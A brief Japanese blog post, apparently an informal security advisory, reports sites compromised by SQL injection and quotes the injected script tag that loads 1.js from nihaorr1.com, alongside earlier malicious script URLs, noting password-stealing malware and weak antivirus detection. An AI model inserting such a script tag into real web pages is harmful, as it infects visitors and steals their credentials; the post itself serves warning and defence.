2117966。net、414151。com に続き

http://www。2117966。net/fuckjp.js　や　http://www。414151。com/fjp.js　に続き、
以下のリンクを埋め込まれてるサイトがいくつも。。。またSQLインジェクションで攻撃された模様。

＜script src=http://www。nihaorr1。com/1.js＞
（↑　マルウェアに感染するのでアクセスしないように。）

Whoisで確認すると、またもや中国。しかし、今度は日本のサイトだけがターゲットになっているわけではない模様。最終的にオンラインゲームのパスワードかなんかを盗むマルウェアに感染するみたい。一次検体は、VirustotalによるとKasperskyでも検知できず。